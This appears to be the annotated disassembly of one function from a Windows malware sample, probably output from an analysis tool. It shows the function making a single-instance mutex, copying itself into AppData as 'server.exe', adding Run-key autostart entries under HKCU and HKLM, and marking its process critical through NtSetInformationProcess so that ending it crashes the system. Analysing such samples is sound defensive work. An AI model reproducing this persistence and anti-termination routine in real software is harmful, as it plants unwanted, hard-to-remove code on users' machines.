Function at 0x140001380
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Get common file path
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [0x14003d010]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
lea r8, str.def9b6cd3f2b0c43097dfbc918862b82
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
test rax, rax
jne 0x1400013c1
lea rcx, str.mutex_create_error__n
jmp 0x1400013de
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
lea rcx, str.mutex_already_exists__n
lea rdx, str.mutex_create_success__n
cmovne rcx, rdx
mov qword [rsp + 0x6f0], rbx
call fcn.140001320
mov eax, dword [0x140038370]
lea rcx, [rbp + 0x1b0]
movups xmm0, xmmword [str.server.exe]
mov dword [rsp + 0x48], eax
xor edx, edx
movzx eax, word [0x140038374]
mov r8d, 0x208
movups xmmword [rsp + 0x38], xmm0
mov word [rsp + 0x4c], ax
call fcn.140007620
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x208
call fcn.140007620
xor edx, edx
lea rcx, [rbp + 0x3c0]
mov r8d, 0x208
call fcn.140007620
mov r8d, 0x104
lea rdx, [rbp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1400014f8
mov r9d, 1
lea rdx, [rbp + 0x1b0]
xor ecx, ecx
lea r8d, [r9 + 0x19]
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea rdx, [rbp + 0x1b0]
mov ebx, eax
lea rcx, str.szAppDataPath_s_n
call fcn.1400012c0
test ebx, ebx
je 0x1400014f8
lea rax, [rsp + 0x38]
mov edx, 0xc8
lea r9, [rbp + 0x1b0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s
lea rcx, [rbp - 0x60]
call fcn.140004280
lea rax, [rbp + 0x3c0]
lea r8, [rbp - 0x60]
sub r8, rax
nop dword [rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400014e4
add rax, 2
test ecx, ecx
jne 0x1400014d0
test edx, edx
jne 0x1400015b0
lea rcx, str.same_path__Go_ahead__n
call fcn.1400012c0
movaps xmm0, xmmword [str.def9b6cd3f2b0c43097dfbc918862b82]
lea rcx, [rbp - 0x60]
movaps xmm1, xmmword [0x140038450]
xor edx, edx
movzx eax, word [0x140038480]
mov r8d, 0x208
movaps xmmword [rsp + 0x50], xmm0
movaps xmm0, xmmword [0x140038460]
movaps xmmword [rsp + 0x60], xmm1
movaps xmm1, xmmword [0x140038470]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rbp - 0x80], xmm1
mov word [rbp - 0x70], ax
call fcn.140007620
mov r8d, 0x104
lea rdx, [rbp - 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000171c
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rbx, 0xffffffffffffffff
test eax, eax
je 0x1400015de
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000165c
xor r8d, r8d
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400014f8
lea rcx, [rbp - 0x60]
call fcn.1400042e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [rbp - 0x60]
mov rax, rbx
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400015f0
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x50]
lea rax, [rbp - 0x60]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140001656
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000165c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400016a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegOpenKeyEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000171c
lea rax, [rbp - 0x60]
nop dword [rax]
cmp word [rax + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x1400016b0
mov rcx, qword [rsp + 0x30]
lea eax, [rbx*2 + 1]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x50]
lea rax, [rbp - 0x60]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140001716
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, str.RegSetValueEx
lea rcx, str._s_Error__nError_Code_Is:_d_n
call fcn.1400012c0
jmp 0x14000171c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001743
lea rcx, str.OpenProcess_error__n
jmp 0x1400017ab
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtSetInformationProcess
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000176e
lea rcx, str.GetProcAddress_error__n
jmp 0x1400017ab
mov r9d, 4
mov dword [rsp + 0x30], 1
lea r8, [rsp + 0x30]
mov rcx, rbx
lea edx, [r9 + 0x19]
call rax
test eax, eax
jns 0x1400017a4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_error:__d___n
call fcn.140001320
jmp 0x1400017b0
lea rcx, str.NtSetInformationProcess_ProcessBreakOnTermination_success__n
call fcn.140001320
mov rbx, qword [rsp + 0x6f0]
mov eax, 1
mov rcx, qword [rbp + 0x5d0]
xor rcx, rsp
call fcn.1400043c0
add rsp, 0x6e0
pop rbp
ret